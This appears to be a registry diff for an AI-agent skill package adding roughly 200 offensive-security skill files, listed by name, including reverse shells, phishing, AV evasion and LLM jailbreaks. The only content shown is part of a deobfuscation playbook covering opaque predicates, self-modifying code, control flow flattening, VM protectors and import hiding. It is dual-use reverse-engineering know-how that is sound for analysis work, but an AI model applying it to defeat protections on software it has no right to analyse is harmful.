ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,391 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: code-obfuscation-deobfuscation
|
|
3
|
+
description: >-
|
|
4
|
+
Code obfuscation analysis and deobfuscation playbook. Use when reversing
|
|
5
|
+
binaries protected by junk code, opaque predicates, self-modifying code,
|
|
6
|
+
control flow flattening, VM protection, or string encryption.gated: true
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# SKILL: Code Obfuscation & Deobfuscation — Expert Analysis Playbook
|
|
10
|
+
|
|
11
|
+
> **AI LOAD INSTRUCTION**: Expert techniques for identifying, classifying, and defeating code obfuscation in native binaries. Covers junk code, opaque predicates, SMC, control flow flattening, movfuscator, VM protectors (VMProtect/Themida/Code Virtualizer), string encryption, import hiding, and anti-disassembly tricks. Base models often conflate packing with obfuscation and miss the distinction between static and dynamic deobfuscation strategies.
|
|
12
|
+
|
|
13
|
+
## 0. RELATED ROUTING
|
|
14
|
+
|
|
15
|
+
- [anti-debugging-techniques](../anti-debugging-techniques/SKILL.md) when the obfuscated binary also has anti-debug layers
|
|
16
|
+
- [symbolic-execution-tools](../symbolic-execution-tools/SKILL.md) when using angr/Z3 for automated deobfuscation
|
|
17
|
+
- [vm-and-bytecode-reverse](../vm-and-bytecode-reverse/SKILL.md) for deep VM protector bytecode analysis
|
|
18
|
+
|
|
19
|
+
### Quick identification picks
|
|
20
|
+
|
|
21
|
+
| Symptom in IDA/Ghidra | Likely Obfuscation | Start With |
|
|
22
|
+
|---|---|---|
|
|
23
|
+
| Flat CFG, single giant switch | Control flow flattening | Symbolic execution to recover CFG |
|
|
24
|
+
| Only `mov` instructions | movfuscator | demovfuscation / trace-based lifting |
|
|
25
|
+
| pushad/pushfd → VM entry | VM protector | Handler table extraction |
|
|
26
|
+
| XOR loop before code execution | SMC / string encryption | Dynamic analysis, breakpoint after decode |
|
|
27
|
+
| Impossible conditions (opaque predicates) | Junk code insertion | Pattern-based removal |
|
|
28
|
+
| All strings unreadable | String encryption | Hook decryption routine, or emulate |
|
|
29
|
+
| No imports in IAT | Import hiding | Trace GetProcAddress / hash resolution |
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 1. JUNK CODE & OPAQUE PREDICATES
|
|
34
|
+
|
|
35
|
+
### 1.1 Junk Code Insertion
|
|
36
|
+
|
|
37
|
+
Dead code that never affects program output, added to increase analysis time.
|
|
38
|
+
|
|
39
|
+
**Identification**:
|
|
40
|
+
- Instructions that write to registers/memory never read afterward
|
|
41
|
+
- Function calls whose return values are discarded and have no side effects
|
|
42
|
+
- Loops with invariant bounds that compute unused results
|
|
43
|
+
|
|
44
|
+
**Removal strategy**:
|
|
45
|
+
1. Compute def-use chains (IDA/Ghidra data flow analysis)
|
|
46
|
+
2. Mark instructions with no downstream use as dead
|
|
47
|
+
3. Verify removal doesn't change program behavior (trace comparison)
|
|
48
|
+
|
|
49
|
+
### 1.2 Opaque Predicates
|
|
50
|
+
|
|
51
|
+
Conditional branches where the condition is always true or always false, but this is non-obvious.
|
|
52
|
+
|
|
53
|
+
| Type | Example | Always Evaluates To |
|
|
54
|
+
|---|---|---|
|
|
55
|
+
| Arithmetic | `x² ≥ 0` | True |
|
|
56
|
+
| Number theory | `x*(x+1) % 2 == 0` | True (product of consecutive ints) |
|
|
57
|
+
| Pointer-based | `ptr == ptr` after aliasing | True |
|
|
58
|
+
| Hash-based | `CRC32(constant) == known_value` | True |
|
|
59
|
+
|
|
60
|
+
**Deobfuscation**:
|
|
61
|
+
- Abstract interpretation: prove the condition is constant
|
|
62
|
+
- Symbolic execution: Z3 proves `∀x: predicate(x) = True`
|
|
63
|
+
- Pattern matching: recognize known opaque predicate families
|
|
64
|
+
- Dynamic: trace and observe the branch is never taken / always taken
|
|
65
|
+
|
|
66
|
+
```python
|
|
67
|
+
import z3
|
|
68
|
+
x = z3.BitVec('x', 32)
|
|
69
|
+
s = z3.Solver()
|
|
70
|
+
s.add(x * (x + 1) % 2 != 0)
|
|
71
|
+
print(s.check()) # unsat → always true
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## 2. SELF-MODIFYING CODE (SMC)
|
|
77
|
+
|
|
78
|
+
Runtime code patching: encrypted code is decrypted just before execution.
|
|
79
|
+
|
|
80
|
+
### 2.1 XOR Decryption Loop (Most Common)
|
|
81
|
+
|
|
82
|
+
```asm
|
|
83
|
+
lea esi, [encrypted_code]
|
|
84
|
+
mov ecx, code_length
|
|
85
|
+
mov al, xor_key
|
|
86
|
+
decrypt_loop:
|
|
87
|
+
xor byte [esi], al
|
|
88
|
+
inc esi
|
|
89
|
+
loop decrypt_loop
|
|
90
|
+
jmp encrypted_code ; now decrypted
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### 2.2 Analysis Strategy
|
|
94
|
+
|
|
95
|
+
```
|
|
96
|
+
1. Identify the decryption routine (look for XOR/ADD/SUB in loops writing to .text)
|
|
97
|
+
2. Set breakpoint AFTER the loop completes
|
|
98
|
+
3. At breakpoint: dump the decrypted memory region
|
|
99
|
+
4. Re-analyze the dumped code in IDA/Ghidra
|
|
100
|
+
5. For multi-layer: repeat for each decryption stage
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### 2.3 Automated Unpacking via Emulation
|
|
104
|
+
|
|
105
|
+
```python
|
|
106
|
+
from unicorn import *
|
|
107
|
+
from unicorn.x86_const import *
|
|
108
|
+
|
|
109
|
+
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
|
110
|
+
mu.mem_map(0x400000, 0x10000)
|
|
111
|
+
mu.mem_write(0x400000, binary_code)
|
|
112
|
+
mu.emu_start(decrypt_entry, decrypt_end)
|
|
113
|
+
decrypted = mu.mem_read(code_start, code_length)
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## 3. CONTROL FLOW FLATTENING (CFF)
|
|
119
|
+
|
|
120
|
+
### 3.1 Structure
|
|
121
|
+
|
|
122
|
+
Original sequential blocks are transformed into a dispatcher loop:
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
Original: A → B → C → D
|
|
126
|
+
|
|
127
|
+
Flattened: ┌──────────────────┐
|
|
128
|
+
│ dispatcher │
|
|
129
|
+
│ switch(state) │◄─────┐
|
|
130
|
+
├──────────────────┤ │
|
|
131
|
+
│ case 1: block A │──────┤
|
|
132
|
+
│ case 2: block B │──────┤
|
|
133
|
+
│ case 3: block C │──────┤
|
|
134
|
+
│ case 4: block D │──────┘
|
|
135
|
+
└──────────────────┘
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
Each block sets `state = next_state` before jumping back to the dispatcher.
|
|
139
|
+
|
|
140
|
+
### 3.2 Recovery Techniques
|
|
141
|
+
|
|
142
|
+
| Technique | Tool | Effectiveness |
|
|
143
|
+
|---|---|---|
|
|
144
|
+
| Symbolic execution | angr, Triton, miasm | High — traces all state transitions |
|
|
145
|
+
| Trace-based recovery | Pin/DynamoRIO trace → reconstruct CFG | Medium — covers executed paths only |
|
|
146
|
+
| Pattern matching | Custom IDA/Ghidra script | Medium — works for known flatteners |
|
|
147
|
+
| D-810 (IDA plugin) | IDA Pro | High — specifically designed for CFF |
|
|
148
|
+
|
|
149
|
+
### 3.3 Symbolic Deflattening (angr approach)
|
|
150
|
+
|
|
151
|
+
```python
|
|
152
|
+
import angr, claripy
|
|
153
|
+
|
|
154
|
+
proj = angr.Project('./obfuscated')
|
|
155
|
+
cfg = proj.analyses.CFGFast()
|
|
156
|
+
|
|
157
|
+
# Find dispatcher block (highest in-degree basic block)
|
|
158
|
+
dispatcher = max(cfg.graph.nodes(), key=lambda n: cfg.graph.in_degree(n))
|
|
159
|
+
|
|
160
|
+
# For each case block, symbolically determine successor
|
|
161
|
+
for block in case_blocks:
|
|
162
|
+
state = proj.factory.blank_state(addr=block.addr)
|
|
163
|
+
# ... solve state variable to find real successor
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## 4. MOVFUSCATOR
|
|
169
|
+
|
|
170
|
+
### 4.1 Concept
|
|
171
|
+
|
|
172
|
+
All computation reduced to `mov` instructions only (Turing-complete via memory-mapped computation tables). Created by Christopher Domas.
|
|
173
|
+
|
|
174
|
+
### 4.2 Identification
|
|
175
|
+
|
|
176
|
+
- Function contains only `mov` instructions (no add, sub, xor, jmp, call)
|
|
177
|
+
- Large lookup tables in data section
|
|
178
|
+
- Memory-mapped flag registers
|
|
179
|
+
|
|
180
|
+
### 4.3 Demovfuscation
|
|
181
|
+
|
|
182
|
+
| Approach | Description |
|
|
183
|
+
|---|---|
|
|
184
|
+
| demovfuscator (tool) | Static analysis, recovers original operations from mov patterns |
|
|
185
|
+
| Trace + taint analysis | Run with Pin/DynamoRIO, taint inputs, observe computation |
|
|
186
|
+
| Symbolic execution | Treat entire function as constraint system |
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## 5. VM PROTECTION (VMProtect / Themida / Code Virtualizer)
|
|
191
|
+
|
|
192
|
+
### 5.1 VM Architecture
|
|
193
|
+
|
|
194
|
+
```
|
|
195
|
+
Protected code → bytecode compiler → custom bytecode
|
|
196
|
+
Runtime: VM entry (pushad/pushfd) → fetch → decode → execute → VM exit (popad/popfd)
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### 5.2 VM Entry Point Identification
|
|
200
|
+
|
|
201
|
+
```asm
|
|
202
|
+
; Typical VMProtect entry
|
|
203
|
+
pushad ; save all registers
|
|
204
|
+
pushfd ; save flags
|
|
205
|
+
mov ebp, esp ; VM stack frame
|
|
206
|
+
sub esp, VM_LOCALS_SIZE ; allocate VM context
|
|
207
|
+
mov esi, bytecode_addr ; bytecode instruction pointer
|
|
208
|
+
jmp vm_dispatcher ; enter VM loop
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
### 5.3 Handler Table Extraction
|
|
212
|
+
|
|
213
|
+
```
|
|
214
|
+
1. Find dispatcher (large switch or indirect jump via table)
|
|
215
|
+
2. Each case/entry = one VM handler (implements one VM opcode)
|
|
216
|
+
3. Map handler addresses to operations by analyzing each handler:
|
|
217
|
+
- Handler reads operand from bytecode stream (esi)
|
|
218
|
+
- Performs operation on VM registers/stack
|
|
219
|
+
- Advances bytecode pointer
|
|
220
|
+
- Returns to dispatcher
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### 5.4 Devirtualization Approaches
|
|
224
|
+
|
|
225
|
+
| Method | Description | Tool |
|
|
226
|
+
|---|---|---|
|
|
227
|
+
| Manual handler mapping | Reverse each handler, build ISA spec | IDA + scripting |
|
|
228
|
+
| Trace recording | Record all handler executions, reconstruct program | REVEN, Pin |
|
|
229
|
+
| Symbolic lifting | Symbolically execute handlers, lift to IR | Triton, miasm |
|
|
230
|
+
| Pattern matching | Match handler patterns to known VM families | Custom scripts |
|
|
231
|
+
|
|
232
|
+
### 5.5 VMProtect Specifics
|
|
233
|
+
|
|
234
|
+
- Uses opaque predicates in dispatcher
|
|
235
|
+
- Handler mutation: same opcode, different handler code per build
|
|
236
|
+
- Multiple VM layers (VM inside VM)
|
|
237
|
+
- Integrates anti-debug and integrity checks
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## 6. STRING ENCRYPTION
|
|
242
|
+
|
|
243
|
+
### 6.1 Common Patterns
|
|
244
|
+
|
|
245
|
+
| Pattern | Example | Recovery |
|
|
246
|
+
|---|---|---|
|
|
247
|
+
| XOR loop | `for (i=0; i<len; i++) s[i] ^= key;` | Hook or emulate XOR function |
|
|
248
|
+
| Stack strings | `mov [esp+0], 'H'; mov [esp+1], 'e'; ...` | IDA FLIRT / Ghidra script to reassemble |
|
|
249
|
+
| RC4 encrypted | Encrypted blob + RC4 key in binary | Extract key, decrypt offline |
|
|
250
|
+
| AES encrypted | Encrypted blob + AES key derived at runtime | Hook after decryption |
|
|
251
|
+
| Custom encoding | Base64 + XOR + reverse | Trace the decode function, replicate |
|
|
252
|
+
|
|
253
|
+
### 6.2 Automated String Decryption
|
|
254
|
+
|
|
255
|
+
```python
|
|
256
|
+
# Ghidra script: find XOR decryption calls, emulate them
|
|
257
|
+
from ghidra.program.model.symbol import SourceType
|
|
258
|
+
|
|
259
|
+
decrypt_func = getFunction("decrypt_string")
|
|
260
|
+
refs = getReferencesTo(decrypt_func.getEntryPoint())
|
|
261
|
+
|
|
262
|
+
for ref in refs:
|
|
263
|
+
call_addr = ref.getFromAddress()
|
|
264
|
+
# extract arguments (encrypted buffer ptr, key, length)
|
|
265
|
+
# emulate decryption, add comment with plaintext
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## 7. IMPORT HIDING
|
|
271
|
+
|
|
272
|
+
### 7.1 GetProcAddress + Hash Lookup
|
|
273
|
+
|
|
274
|
+
```c
|
|
275
|
+
FARPROC resolve(DWORD hash) {
|
|
276
|
+
// Walk PEB → LDR → InMemoryOrderModuleList
|
|
277
|
+
// For each DLL, walk export table
|
|
278
|
+
// Hash each export name, compare with target hash
|
|
279
|
+
// Return matching function pointer
|
|
280
|
+
}
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
### 7.2 Recovery
|
|
284
|
+
|
|
285
|
+
1. Identify the hash algorithm (common: CRC32, djb2, ROR13+ADD)
|
|
286
|
+
2. Compute hashes for all known API names
|
|
287
|
+
3. Build hash → API name lookup table
|
|
288
|
+
4. Annotate resolved calls in IDA/Ghidra
|
|
289
|
+
|
|
290
|
+
### 7.3 Common Hash Algorithms
|
|
291
|
+
|
|
292
|
+
| Name | Algorithm | Used By |
|
|
293
|
+
|---|---|---|
|
|
294
|
+
| ROR13 | `hash = (hash >> 13 \| hash << 19) + char` | Metasploit shellcode |
|
|
295
|
+
| djb2 | `hash = hash * 33 + char` | Various malware |
|
|
296
|
+
| CRC32 | Standard CRC32 of function name | Sophisticated packers |
|
|
297
|
+
| FNV-1a | `hash = (hash ^ char) * 0x01000193` | Modern malware |
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## 8. ANTI-DISASSEMBLY TRICKS
|
|
302
|
+
|
|
303
|
+
### 8.1 Techniques
|
|
304
|
+
|
|
305
|
+
| Trick | Mechanism | Fix |
|
|
306
|
+
|---|---|---|
|
|
307
|
+
| Overlapping instructions | `jmp $+2; db 0xE8` (fake call prefix) | Manual re-analysis from correct offset |
|
|
308
|
+
| Misaligned jumps | Jump into middle of multi-byte instruction | Force IDA to re-analyze at target |
|
|
309
|
+
| Conditional jump pair | `jz $+5; jnz $+3` (always jumps, confuses linear disasm) | Convert to unconditional jmp |
|
|
310
|
+
| Return address manipulation | `push addr; ret` instead of `jmp addr` | Recognize push+ret as jump |
|
|
311
|
+
| Exception-based flow | Trigger exception, real code in handler | Analyze exception handler chain |
|
|
312
|
+
| Call + add [esp] | `call $+5; add [esp], N; ret` (computed jump) | Calculate actual target |
|
|
313
|
+
|
|
314
|
+
### 8.2 IDA Fixes
|
|
315
|
+
|
|
316
|
+
```
|
|
317
|
+
Right-click → Undefine (U)
|
|
318
|
+
Right-click → Code (C) at correct offset
|
|
319
|
+
Edit → Patch → Assemble (for permanent fix)
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
---
|
|
323
|
+
|
|
324
|
+
## 9. DECISION TREE
|
|
325
|
+
|
|
326
|
+
```
|
|
327
|
+
Obfuscated binary — how to approach?
|
|
328
|
+
│
|
|
329
|
+
├─ Can you run it?
|
|
330
|
+
│ ├─ Yes → Dynamic analysis first
|
|
331
|
+
│ │ ├─ Set BP on interesting APIs (file, network, crypto)
|
|
332
|
+
│ │ ├─ Trace execution to understand real behavior
|
|
333
|
+
│ │ └─ Dump decrypted code/strings at runtime
|
|
334
|
+
│ │
|
|
335
|
+
│ └─ No (embedded/firmware/exotic arch) → Static only
|
|
336
|
+
│ └─ Identify obfuscation type from patterns below
|
|
337
|
+
│
|
|
338
|
+
├─ What does the code look like?
|
|
339
|
+
│ │
|
|
